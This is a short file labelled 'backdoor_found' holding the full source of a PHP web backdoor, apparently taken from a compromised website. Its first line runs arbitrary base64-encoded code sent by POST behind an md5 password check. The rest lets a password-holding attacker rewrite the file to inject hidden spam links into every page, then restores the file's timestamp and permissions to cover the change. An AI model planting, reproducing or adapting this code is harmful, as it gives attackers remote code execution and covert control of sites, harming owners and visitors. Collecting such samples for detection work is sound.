backdoor_found

<?php if(md5(@$_POST['85e1e'])=='7b4d538cb6c111e2169eff5682be3210')eval(base64_decode(@$_POST['94af8']));?><?php
        $links="GoogleSux";
        function ob_interception ($cont)
        {
                global $links;
                $cont = preg_replace ('!</body(.*?)>!si', "<div style='left: -3565px; position: absolute; top: -4812px'>".$links."</div></body\$1>", $cont);
                return $cont;
        }
        function interception ()
        {
                global $links;
                if (!empty ($_POST ['links']) && sha1 (md5 (sha1 (base64_decode ($_POST ['pass'])))) == '3ac5b0923c68dabf50c0cba739921d34b121a66f')
                {
                        if (get_magic_quotes_gpc ())
                        {
                                foreach ($_POST as $k => $v) $_POST [$k] = stripslashes ($v);
                        }
                        $code = implode ('', file (__FILE__));
                        preg_match ("#links=\"(.*?)\";#is", $code, $m);
                        $code = str_replace ($m [1], addslashes (base64_decode ($_POST ['links'])), $code);
                        $time = @filemtime (__FILE__);
                        $perm = @fileperms (__FILE__);
                        $f = fopen (__FILE__, 'w+'); fwrite ($f, $code); fclose ($f);
                        @touch (__FILE__,$time, $time);
                        @chmod (__FILE__,$perm);
                        echo '5a7d'.'fd40'.'597e'.'e50f'.'5f55'.'049a'.'2102'.'d613';
                }
                if ($links != 'Google'.'Sux')
                {
                        ob_start ('ob_interception');
                }
        }
        interception ();
?>